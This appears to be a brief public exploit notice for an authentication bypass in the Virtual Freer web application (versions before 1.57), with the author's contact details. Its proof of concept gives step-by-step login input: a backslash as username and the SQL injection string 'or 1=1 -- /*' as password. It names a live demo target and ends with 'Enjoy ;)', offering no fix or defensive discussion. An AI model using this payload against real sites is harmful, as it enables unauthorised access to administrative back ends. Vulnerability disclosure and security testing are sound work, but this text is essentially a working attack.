# Title : Virtual Freer < 1.57 - Authentication Bypass

# Tested : CentOS / php

# Vendor Homepage: http://freer.ir

#

#

#

# Author      :   Mohammad Reza Espargham

# Linkedin    :   https://ir.linkedin.com/in/rezasp

# E-Mail      :   me[at]reza[dot]es , reza.espargham[at]gmail[dot]com

# Website     :   www.reza.es

# Twitter     :   https://twitter.com/rezesp

# FaceBook    :   https://www.facebook.com/mohammadreza.espargham

#

#

# PoC:

#

# 1 . start

# 2 . Start Browse / Go to http://site.com/back/login.php

# 3 . Enter Username : \

# 4 . Enter Password : or 1=1 -- /*

# 5 . Enjoy ;)

# 5 . Finished

#

#

# Demo Target : http://freer.ir/virtual/demo/back/login.php

#





-- 
Mohammad Reza Espargham
www.reza.es